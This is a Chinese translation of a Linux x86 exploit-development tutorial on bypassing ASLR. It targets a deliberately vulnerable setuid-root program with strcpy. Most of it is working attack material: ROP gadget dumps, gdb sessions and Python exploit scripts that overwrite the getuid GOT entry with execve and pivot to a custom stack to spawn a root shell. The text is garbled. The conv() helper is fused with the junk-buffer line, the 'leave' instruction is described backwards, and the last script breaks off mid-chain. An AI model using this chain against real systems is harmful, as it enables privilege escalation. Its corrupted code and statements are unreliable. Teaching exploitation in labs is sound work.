天天看點

Linux (x86) Exploit 開發系列教程之八 繞過 ASLR -- 第三部分繞過 ASLR – 第三部分

繞過 ASLR – 第三部分

譯者: 飛龍 原文: Bypassing ASLR – Part III

預備條件:

  1. 經典的基于棧的溢出
  2. 繞過 ASLR – 第一部分

VM 配置:Ubuntu 12.04 (x86)

在這篇文章中,讓我們看看如何使用 GOT 覆寫和解引用技巧。來繞過共享庫位址随機化。我們在第一部分中提到過,即使可執行檔案沒有所需的 PLT 樁代碼,攻擊者也可以使用 GOT 覆寫和解引用技巧來繞過 ASLR。

漏洞代碼:

// vuln.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main (int argc, char **argv) {
 char buf[256];
 int i;
 seteuid(getuid());
 if(argc < 2) {
  puts("Need an argument\n");
  exit(-1);
 }
 strcpy(buf, argv[1]);
 printf("%s\nLen:%d\n", buf, (int)strlen(buf));
 return 0;
}           

編譯指令:

#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -fno-stack-protector -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln           

注意:

  1. system@PLT

    并沒有在我們的可執行檔案

    vuln

    中出現。
  2. 字元串

    sh

    也沒有在我們的可執行檔案

    vuln

什麼是 GOT 覆寫?

這個技巧幫助攻擊者,将特定 Libc 函數的 GOT 條目覆寫為另一個 Libc 函數的位址(在第一次調用之後)。但是它也可以覆寫為

execve

函數的位址 – 當偏移差加到

GOT[getuid]

的時候。我們已經知道了,在共享庫中,函數距離其基址的偏移永遠是固定的。是以,如果我們将兩個 Libc 函數的內插補點(

execve

getuid

)加到

getuid

的 GOT 條目,我們就得到了

execve

函數的位址。之後,調用

getuid

就會調用

execve

offset_diff = execve_addr - getuid_addr
GOT[getuid] = GOT[getuid] + offset_diff           
什麼是 GOT 解引用?

這個技巧類似于 GOT 覆寫,但是這裡不會覆寫特定 Libc 函數的 GOT 條目,而是将它的值複制到寄存器中,并将偏移差加到寄存器的内容。是以,寄存器就含有所需的 Libc 函數位址。例如,

GOT[getuid]

包含

getuid

的函數位址,将其複制到寄存器。兩個 Libc 函數(

execve

getuid

)的偏移差加到寄存器的内容。現在跳到寄存器的值就調用了

execve

offset_diff = execve_addr - getuid_addr
eax = GOT[getuid]
eax = eax + offset_diff           

這兩個技巧看起來類似,但是當緩沖區溢出發生時,如何在運作時期執行這些操作呢?我們需要識别出一個函數(它執行這些加法,并将結果複制到寄存器),并跳到特定的函數來完成 GOT 覆寫或解引用。但是很顯然,沒有單一的函數(不在 Libc 也不在我們的可執行檔案中)能夠為我們做這些。這裡我們使用 ROP。

什麼是 ROP?

ROP 是個技巧,其中攻擊者一旦得到了調用棧的控制之後,他就可以執行精心構造的機器指令,來執行它所需的操作,即使沒有直接的方式。例如,在 return-to-libc 攻擊中,我們将傳回位址覆寫為

system

的位址,來執行

system

。但是如果

system

(以及

execve

函數族)從 Libc 共享庫中溢出了,攻擊者就不能獲得 root shell。這時,ROP 就可以拯救攻擊者。在這個技巧中,即使任何所需的 Libc 函數都不存在,攻擊者可以通過執行一系列的零件(gadget),來模拟所需的 Libc 函數。

什麼是零件?

零件是一系列彙編指令,它們以

ret

彙編指令結尾。攻擊者使用零件位址來覆寫傳回位址,這個零件包含一系列彙編指令,它們類似于

system

開頭的一些彙編指令。是以,傳回到這個零件位址,就可以執行一部分

system

的功能。

system

功能的剩餘部分,通過傳回到一些其他零件來完成。由此,連結一系列的零件可以模拟

system

的功能。是以

system

即使移除了也能夠執行。

但是如何在可執行檔案中找到可用的零件?

可以使用零件工具來尋找。有很多工具,例如

ropeme

ROPgadget rp++

,它們有助于攻擊者在二進制中尋找零件。這些工具大多都尋找

ret

指令,之後往回看來尋找實用的機器指令序列。

在我們這裡,我們并不需要使用 ROP 零件倆模拟任何 Libc 函數,反之,我們需要覆寫 Libc 函數的 GOT 條目,或者確定任何寄存器指向 Libc 函數位址。讓我們看看如何使用 ROP 零件來完成 GOT 覆寫和解引用吧。

使用 ROP 的 GOT 覆寫

零件 1:首先我們需要一個零件,它将偏移差加到

GOT[getuid]

上。是以讓我們尋找一個

add

零件,它将結果複制到記憶體區域中。

$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
65 found.

A total of 65 gadgets found.
...
0x080486fb: addb %dh, -0x01(%esi,%edi,8) ; jmpl *0x00(%ecx) ; (1 found)
0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ; (1 found)
...
$           

好的。我們找到了一個

add

零件,它将結果複制到記憶體區域中。現在如果我們可以使 EBX 包含

GOT[getuid] - 0x5d5b04c4

,并使 EAX 包含偏移差,我們就可以成功執行 GOT 覆寫。

零件 2:確定 EBX 包含

getuid

的 GOT 條目。

getuid

的 GOT 條目(在下面展示)位于

0x804a004

。是以 EBX 應該為

0x804a004

,但是由于

add

零件中,固定值

0x5d5b04c4

加到了 EBX,是以 EBX 應減去這個固定值,也就是

ebx = 0x804a004 -0x5d5b04c4 = 0xaaa99b40

。現在我們需要尋找一個零件,它将這個值

0xaaa99b40

複制到 EBX 寄存器中。

$ objdump -R vuln
vuln: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE 
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a000 R_386_JUMP_SLOT printf
0804a004 R_386_JUMP_SLOT getuid
...
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
65 found.

A total of 65 gadgets found.
...
0x08048618: popl %ebp ; ret ; (1 found)
0x08048380: popl %ebx ; ret ; (1 found)
0x08048634: popl %ebx ; ret ; (1 found)
...
$            

好的,我們找到了

pop ebx

零件。是以将該值

0xaaa99b40

壓入棧,并傳回到

pop ebx

之後, EBX 包含

0xaaa99b40

零件 3:確定 EAX 包含偏移差。是以我們需要找到一個零件,它将偏移差複制到 EAX 寄存器中。

$ gdb -q vuln
...
(gdb) p execve
$1 = {} 0xb761a1f0 
(gdb) p getuid
$2 = {} 0xb761acc0 
(gdb) p/x execve - getuid
$4 = 0xfffff530
(gdb) 
...
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
65 found.

A total of 65 gadgets found.
...
0x080484a3: popl %ebp ; ret ; (1 found)
0x080485cf: popl %ebp ; ret ; (1 found)
0x08048618: popl %ebp ; ret ; (1 found)
0x08048380: popl %ebx ; ret ; (1 found)
0x08048634: popl %ebx ; ret ; (1 found)
...
$           

是以将偏移差

0xfffff530

壓入棧中,并傳回到

pop eax

指令,将偏移差複制給 EAX。但是不幸的是,在我們的二進制

vuln

中,我們不能找到

popl %eax; ret;

零件。是以 GOT 覆寫是不可能的。

棧布局:下面的圖檔描述了用于完成 GOT 覆寫的零件鍊。

Linux (x86) Exploit 開發系列教程之八 繞過 ASLR -- 第三部分繞過 ASLR – 第三部分

使用 ROP 的 GOT 解引用

GOT[getuid]

,并且它的結果需要加載到寄存器中。是以讓我們尋找一個

add

零件,它将結果複制到寄存器中。

$ ~/roptools/rp++ --atsyntax -f ./vuln -r 4
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
166 found.

A total of 166 gadgets found.
...
0x08048499: addl $0x0804A028, %eax ; addl %eax, 0x5D5B04C4(%ebx) ; ret ; (1 found)
0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ; (1 found)
0x08048482: addl %esp, 0x0804A02C(%ebx) ; calll *0x08049F1C(,%eax,4) ; (1 found)
0x0804860e: addl -0x0B8A0008(%ebx), %eax ; addl $0x04, %esp ; popl %ebx ; popl %ebp ; ret ; (1 found)
...
$           

好的。我們找到一個

add

零件,它将結果複制到寄存器中。現在如果我們可以使 EBX 包含

GOT[getuid] + 0xb8a0008

,并使 EAX 包含偏移差,我們就可以成功執行 GOT 解引用。

零件 2:我們在 GOT 覆寫中看到,可執行檔案

vuln

中找到了

pop %ebx; ret;

零件 3:我們在 GOT 覆寫中看到,可執行檔案

vuln

中沒有找到

pop %eax; ret;

零件 4:通過調用寄存器來調用

execve

。是以我們需要

call *eax

零件。

$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
65 found.

A total of 65 gadgets found.
...
0x080485bb: calll *%-0x000000E0(%ebx,%esi,4) ; (1 found)
0x080484cf: calll *%eax ; (1 found)
0x0804860b: calll *%eax ; (1 found)
...
$           

好的。我們發現了

call *eax

零件。但是還是因為零件 3

popl %eax; ret;

沒有找到,GOT 解引用也是無法實作的。

棧布局:下面的圖檔描述了用于完成 GOT 解引用的零件鍊:

Linux (x86) Exploit 開發系列教程之八 繞過 ASLR -- 第三部分繞過 ASLR – 第三部分

在似乎沒有更多方法時(至少對于我來說,當我開始了解 ROP 的時候),Reno 向我介紹了下面的解法,通過手動搜尋 ROP 零件。非常感謝,是以繼續吧。

手動搜尋 ROP 零件

由于 ROP 零件工具不能找到

pop eax;ret;

零件,讓我們手動搜尋來尋找,是否能找到任何有趣的零件,能夠幫助我們将偏移差複制給 EAX 寄存器。

反彙編二進制

vuln

(使用下面的指令):

$objdump -d vuln > out           

零件 4:使用偏移差

0xfffff530

加載 EAX。反彙編展示了一個 MOV 指令,它将棧内容複制給 EAX:

80485b3: mov 0x34(%esp),%eax
80485b7: mov %eax,0x4(%esp)
80485bb: call *-0xe0(%ebx,%esi,4)
80485c2: add $0x1,%esi
80485c5: cmp %edi,%esi
80485c7: jne 80485a8 <__libc_csu_init+0x38>
80485c9: add $0x1c,%esp
80485cc: pop %ebx
80485cd: pop %esi
80485ce: pop %edi
80485cf: pop %ebp
80485d0: ret           

但是

ret

0x80485d0

)看起來離這個指令(

0x80485b3

)很遠。是以這裡的挑戰是,在

ret

指令之前,我們需要保證 EAX 不被修改。

不修改 EAX:

這裡讓我們看看如何使 EAX 在

ret

指令(

0x80485d0

)之前不被修改。這是一個調用指令(

0x80485bb

),是以讓我們用這種方式來加載 EBX 和 ESI,就是調用指令會調用一個函數,它不修改 EAX。

_fini

看起來不修改 EAX。

0804861c <_fini>:
804861c: push %ebx
804861d: sub $0x8,%esp
8048620: call 8048625 <_fini+0x9>
8048625: pop %ebx
8048626: add $0x19cf,%ebx
804862c: call 8048450 <__do_global_dtors_aux>
8048631: add $0x8,%esp
8048634: pop %ebx
8048635: ret

08048450 <__do_global_dtors_aux>:
8048450: push %ebp
8048451: mov %esp,%ebp
8048453: push %ebx
8048454: sub $0x4,%esp
8048457: cmpb $0x0,0x804a028
804845e: jne 804849f <__do_global_dtors_aux+0x4f>
...
804849f: add $0x4,%esp
80484a2: pop %ebx
80484a3: pop %ebp
80484a4: ret           

_fini

調用了

_do_global_dtors_aux

,在我們将記憶體位址

0x804a028

設為 1 的時候,這裡 EAX 可以可以保留下來。

為了調用

_fini

,EBX 和 ESI 的值是什麼呢?

  1. 首先我們需要尋找一個記憶體位址,它包含

    _fini

    的位址

    0x804861c

    。像下面展示的那樣,記憶體位址

    0x8049f3c

    包含了

    _fini

    位址。
    0x8049f28 :    0x00000001 0x00000010 0x0000000c 0x08048354
    0x8049f38 <_DYNAMIC+16>: 0x0000000d 0x0804861c 0x6ffffef5 0x080481ac
    0x8049f48 <_DYNAMIC+32>: 0x00000005 0x0804826c           
  2. 将 ESI 設為

    0x01020101

    。推薦這個值,因為我們不能将其設為

    0x0

    ,它是

    strcpy

    的漏洞代碼,零是壞字元。同樣,確定産生的值(儲存在 EBX 中)也不包含零。
  3. 像下面那樣設定 EBX:
    ebx+esi*4-0xe0 = 0x8049f3c
    ebx = 0x8049f3c -(0x01020101*0x4) + 0xe0
    ebx = 0x3fc9c18           

是以,我們發現,為了調用

_fini

,我們需要確定 EBX 和 ESI 分别加載為

0x3fc9c18

0x01020101

同樣確定 EAX 不要在

_fini

的傳回處(

0x8048635

)和傳回指令(

0x80485d0

)之間修改。這可以通過設定

edi = esi + 1

來實作。如果設定了

edi = esi + 1

,跳轉指令

0x80485c7

就會確定控制流跳轉到

0x80485c9

的指令。之後我們可以看到,

0x80485c9

指令到傳回指令(

0x80485d0

)之間,EAX 都不會改動。

零件 5:将 EBX 加載為

0x3fc9c18

$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
65 found.

A total of 65 gadgets found.
...
0x08048618: popl %ebp ; ret ; (1 found)
0x08048380: popl %ebx ; ret ; (1 found)
0x08048634: popl %ebx ; ret ; (1 found)
...
$           

零件 6:将 ESI 加載為

0x01020101

,EDI 加載為

0x01020102

:

$ ~/roptools/rp++ --atsyntax -f ./vuln -r 3
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
135 found.

A total of 135 gadgets found.
...
0x080485ce: popl %edi ; popl %ebp ; ret ; (1 found)
0x080485cd: popl %esi ; popl %edi ; popl %ebp ; ret ; (1 found)
0x08048390: pushl 0x08049FF8 ; jmpl *0x08049FFC ; (1 found)
...
$           

零件 7:将

0x1

複制到記憶體位址

0x804a028

$ ~/roptools/rp++ --atsyntax -f ./vuln -r 5
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
183 found.

A total of 183 gadgets found.
...
0x080485ca: les (%ebx,%ebx,2), %ebx ; popl %esi ; popl %edi ; popl %ebp ; ret ; (1 found)
0x08048498: movb $0x00000001, 0x0804A028 ; addl $0x04, %esp ; popl %ebx ; popl %ebp ; ret ; (1 found)
0x0804849b: movb 0x83010804, %al ; les (%ebx,%ebx,2), %eax ; popl %ebp ; ret ; (1 found)
...
$           

現在我們完成了零件的搜尋。讓我們開始遊戲吧!

零件搜尋總結

  • 為了零件 1 的成功調用,我們需要零件 2 和 3。
  • 由于零件 3 不存在,我們執行手動搜尋,并找到了零件 4、5、6 和 7。
  • 為了零件 4 的成功調用,我們需要零件 5、6 和 7。

利用代碼

下面的利用代碼使用

execve

函數位址覆寫了

GOT[getuid]

#!/usr/bin/env python
import struct
from subprocess import call

'''
 G1: 0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ;
 G2: 0x080484a2: popl %ebx ; pop ebp; ret ;
 G3: 0x????????: popl %eax ; ret ; (NOT found)
 G4: 0x080485b3: mov 0x34(%esp),%eax...
 G5: 0x08048380: pop ebx ; ret ;
 G6: 0x080485cd: pop esi ; pop edi ; pop ebp ; ret ;
 G7: 0x08048498: movb $0x1,0x804a028...
'''

g1 = 0x0804849e
g2 = 0x080484a2
g4 = 0x080485b3
g5 = 0x08048380
g6 = 0x080485cd
g7 = 0x08048498
dummy = 0xdeadbeef
esi = 0x01020101
edi = 0x01020102
ebx = 0x3fc9c18 #ebx = 0x8049f3c - (esi*4) + 0xe0
off = 0xfffff530

#endianess convertion
def conv(num):
 return struct.pack("<I",num* 268 #Junk
buf += conv(g7) #movb $0x1,0x804a028; add esp, 0x04; pop ebx; pop ebp; ret;
buf += conv(dummy)
buf += conv(dummy)
buf += conv(dummy)
buf += conv(g6) #pop esi; pop edi; pop ebp; ret;
buf += conv(esi) #esi
buf += conv(edi) #edi
buf += conv(dummy)
buf += conv(g5) #pop ebx; ret;
buf += conv(ebx) #ebx
buf += conv(g4) #mov 0x34(%esp),%eax; ...

for num in range(0,11):
 buf += conv(dummy)

buf += conv(g2) #pop ebx; pop ebp; ret;
ebx = 0xaaa99b40 #getuid@GOT-0x5d5b04c4
buf += conv(ebx)
buf += conv(off)
buf += conv(g1) #addl %eax, 0x5D5B04C4(%ebx); ret;
buf += "B" * 4

print "Calling vulnerable program"
call(["./vuln", buf])           

執行上面的利用代碼會生成核心檔案。打開核心檔案來檢視

GOT[getuid]

execve

函數位址覆寫(在下面展示):

$ python oexp.py 
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��ᆳ�ᆳ�ᆳ�ͅᆳހ�����ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳޢ�@���0�����BBBB
Len:376
sploitfun@sploitfun-VirtualBox:~/lsploits/new/aslr/part3$ sudo gdb -q vuln
Reading symbols from /home/sploitfun/lsploits/new/aslr/part3/vuln...(no debugging symbols found)...done.
(gdb) core-file core 
[New LWP 18781]
warning: Can't read pathname for load map: Input/output error.
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) x/1xw 0x804a004
0x804a004 <[email protected]>: 0xb761a1f0
(gdb) p getuid
$1 = {} 0xb761acc0 
(gdb) p execve
$2 = {} 0xb761a1f0 
(gdb)            

好的,我們已經成功将

getuid

的 GOT 條目覆寫為

execve

的位址。因為現在為止,任何

getuid

的調用都會調用

execve

派生 root shell

我們的利用還沒完,我們剛剛執行了 GOT 覆寫,還需要派生出 root shell。為了派生 root shell,将下面的 Libc 函數(以及它們的參數)複制到棧上。

seteuid@PLT | getuid@PLT | seteuid_arg | execve_arg1 | execve_arg2 | execve_arg3           

其中:

  • setuid@PLT

    setuid

    的 PLT 代碼位址(

    0x80483c0

    )。
  • getuid@PLT

    getuid

    0x80483b0

    ),但是這回調用

    execve

    ,因為我們已經執行了 GOT 覆寫。
  • seteuid_arg

    應該為 0 來獲得 root shell。
  • execve_arg1

    – 檔案名稱 – 字元串

    /bin/sh

    的位址。
  • execve_arg2

    argv

    – 參數數組的位址,它的内容是

    [Address of “/bin/sh”, NULL]

  • execve_arg3

    envp

    NULL

我們在第五篇中看到,因為我們不能直接使用 0 來溢出緩沖區(因為 0 是壞字元),我們可以使用

strcpy

鍊來複制 0 代替

seteuid_arg

。但是這個解法不能在這裡使用,因為棧是随機化的,知道

seteuid_arg

的棧上位置的準确位址十分困難。

如何繞過棧位址随機化?

可以使用自定義棧和 stack pivot 技巧來繞過它。

什麼是自定義棧?

自定義棧是由攻擊者控制的棧區域。它複制 Libc 函數鍊,以及函數參數來繞過棧随機化。由于攻擊者選擇了任何非位置獨立和可寫的程序的記憶體區域作為自定義棧,是以可以繞過。在我們的二進制

vuln

中,可寫和非位置獨立的記憶體區域,是

0x804a000

0x804b000

(在下面展示):

$ cat /proc//maps
08048000-08049000 r-xp 00000000 08:01 399848 /home/sploitfun/lsploits/aslr/vuln
08049000-0804a000 r--p 00000000 08:01 399848 /home/sploitfun/lsploits/aslr/vuln
0804a000-0804b000 rw-p 00001000 08:01 399848 /home/sploitfun/lsploits/aslr/vuln
b7e21000-b7e22000 rw-p 00000000 00:00 0 
b7e22000-b7fc5000 r-xp 00000000 08:01 1711755 /lib/i386-linux-gnu/libc-2.15.so
b7fc5000-b7fc7000 r--p 001a3000 08:01 1711755 /lib/i386-linux-gnu/libc-2.15.so
b7fc7000-b7fc8000 rw-p 001a5000 08:01 1711755 /lib/i386-linux-gnu/libc-2.15.so
b7fc8000-b7fcb000 rw-p 00000000 00:00 0 
b7fdb000-b7fdd000 rw-p 00000000 00:00 0 
b7fdd000-b7fde000 r-xp 00000000 00:00 0 [vdso]
b7fde000-b7ffe000 r-xp 00000000 08:01 1711743 /lib/i386-linux-gnu/ld-2.15.so
b7ffe000-b7fff000 r--p 0001f000 08:01 1711743 /lib/i386-linux-gnu/ld-2.15.so
b7fff000-b8000000 rw-p 00020000 08:01 1711743 /lib/i386-linux-gnu/ld-2.15.so
bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]
$           

例如,包含

.data

.bss

段的記憶體區域可以用作自定義棧位置。我選擇了

0x804a360

作為自定義棧位置。

現在選擇自定義棧位置之後,我們需要将 Libc 函數鍊以及它們的函數複制到自定義棧中。我們這裡,将下面的 Libc 函數(以及它們的參數)複制到自定義棧位置,以便派生 root shell。

seteuid@PLT | getuid@PLT | seteuid_arg | execve_arg1 | execve_arg2 | execve_arg3           

為了将這些内容複制到棧上,我們需要将實際棧的傳回位址,覆寫為一系列

strcpy

調用。例如,為了将

seteuid@PLT (0x80483c0)

複制到自定義棧上,我們需要:

  • 四個

    strcpy

    調用 – 每個十六進制值(

    0x08, 0x04, 0x83, 0xc0

    )使用一個

    strcpy

    調用。
  • strcpy

    的來源參數應該是可執行記憶體區域的位址,它包含所需的十六進制值,并且我們也需要確定這個值不被改動,它在所選的記憶體區域存在。
  • strcpy

    的目标參數應該是自定義棧位置的目标位址。

遵循上面的過程,我們就建立了完整的自定義棧。一旦自定義棧建立完成,我們需要将自定義棧移動到真實的棧上,使用 stack pivot 技巧。

什麼是 stack pivot?

stack pivot 使用

leave ret

指令來實作。我們已經知道了,

leave

指令會翻譯為:

mov ebp, esp
pop ebp           

是以在

leave

指令之前,使用自定義棧位址來加載 EBP – 當

leave

指令執行時,會使 ESP 指向 EBP。是以,在轉移到自定義棧之後,我們會繼續執行一 Libc 函數序列,它們加載到了自定義棧上,然後就獲得了 root shell。

完整的利用代碼

#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

#GOT overwrite using ROP gadgets
'''
 G1: 0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ;
 G2: 0x080484a2: popl %ebx ; pop ebp; ret ;
 G3: 0x????????: popl %eax ; ret ; (NOT found)
 G4: 0x080485b3: mov 0x34(%esp),%eax...
 G5: 0x08048380: pop ebx ; ret ;
 G6: 0x080485cd: pop esi ; pop edi ; pop ebp ; ret ;
 G7: 0x08048498: movb $0x1,0x804a028...
'''

g1 = 0x0804849e
g2 = 0x080484a2
g4 = 0x080485b3
g5 = 0x08048380
g6 = 0x080485cd
g7 = 0x08048498
dummy = 0xdeadbeef
esi = 0x01020101
edi = 0x01020102
ebx = 0x3fc9c18               #ebx = 0x8049f3c - (esi*4) + 0xe0
off = 0xfffff530

#Custom Stack
#0x804a360 - Dummy EBP|seteuid@PLT|getuid@PLT|seteuid_arg|execve_arg1|execve_arg2|execve_arg3
cust_esp = 0x804a360          #Custom stack base address
cust_base_esp = 0x804a360     #Custom stack base address
#seteuid@PLT 0x80483c0
seteuid_oct1 = 0x8048143      #08
seteuid_oct2 = 0x8048130      #04
seteuid_oct3 = 0x8048355      #83
seteuid_oct4 = 0x80481cb      #c0
#getuid@PLT 0x80483b0
getuid_oct1 = 0x8048143       #08
getuid_oct2 = 0x8048130       #04
getuid_oct3 = 0x8048355       #83
getuid_oct4 = 0x80483dc       #b0
#seteuid_arg 0x00000000
seteuid_null_arg = 0x804a360
#execve_arg1 0x804ac60
execve_arg1_oct1 = 0x8048143  #08
execve_arg1_oct2 = 0x8048130  #04 
execve_arg1_oct3 = 0x8048f44  #AC 
execve_arg1_oct4 = 0x804819a  #60
#execve_arg2 0x804ac68
execve_arg2_oct1 = 0x8048143  #08
execve_arg2_oct2 = 0x8048130  #04 
execve_arg2_oct3 = 0x8048f44  #AC 
execve_arg2_oct4 = 0x80483a6  #68
#execve_arg3 0x00000000
execve_null_arg = 0x804a360
execve_path_dst = 0x804ac60   #Custom stack location which contains execve_path "/bin/sh"
execve_path_oct1 = 0x8048154  #/
execve_path_oct2 = 0x8048157  #b
execve_path_oct3 = 0x8048156  #i
execve_path_oct4 = 0x804815e  #n
execve_path_oct5 = 0x8048162  #s
execve_path_oct6 = 0x80483a6  #h
execve_argv_dst = 0x804ac68   #Custom stack location which contains execve_argv [0x804ac60, 0x0]
execve_argv1_oct1 = 0x8048143 #08
execve_argv1_oct2 = 0x8048130 #04 
execve_argv1_oct3 = 0x8048f44 #AC 
execve_argv1_oct4 = 0x804819a #60
strcpy_plt = 0x80483d0        #strcpy@PLT
ppr_addr = 0x080485ce         #popl %edi ; popl %ebp ; ret ;

#Stack Pivot
pr_addr = 0x080484a3          #popl %ebp ; ret ;
lr_addr = 0x08048569          #leave ; ret ;

#endianess convertion
def conv(num):
 return struct.pack("<I",num* 268 #Junk
buf += conv(g7)               #movb $0x1,0x804a028; add esp, 0x04; pop ebx; pop ebp; ret;
buf += conv(dummy)
buf += conv(dummy)
buf += conv(dummy)
buf += conv(g6)               #pop esi; pop edi; pop ebp; ret;
buf += conv(esi)              #esi
buf += conv(edi)              #edi
buf += conv(dummy)
buf += conv(g5)               #pop ebx; ret;
buf += conv(ebx)              #ebx
buf += conv(g4)               #mov 0x34(%esp),%eax; ...

for num in range(0,11):
 buf += conv(dummy)

buf += conv(g2)               #pop ebx; pop ebp; ret;
ebx = 0xaaa99b40              #getuid@GOT-0x5d5b04c4
buf += conv(ebx)
buf += conv(off)
buf += conv(g1)               #addl %eax, 0x5D5B04C4(%ebx); ret;
#Custom Stack
#Below stack frames are for strcpy (to copy seteuid@PLT to custom stack)
cust_esp += 4                 #Increment by 4 to get past Dummy EBP.
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_oct4)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_oct3)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_oct2)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_oct1)
#Below stack frames are for strcpy (to copy getuid@PLT to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(getuid_oct4)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(getuid_oct3)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(getuid_oct2)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(getuid_oct1)
#Below stack frames are for strcpy (to copy seteuid arg  to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_null_arg)
#Below stack frames are for strcpy (to copy execve_arg1  to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg1_oct4)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg1_oct3)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg1_oct2)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg1_oct1)
#Below stack frames are for strcpy (to copy execve_arg2  to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg2_oct4)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg2_oct3)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg2_oct2)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg2_oct1)
#Below stack frames are for strcpy (to copy execve_arg3  to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_null_arg)
#Below stack frame is for strcpy (to copy execve path "/bin/sh" to custom stack @ loc 0x804ac60)
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
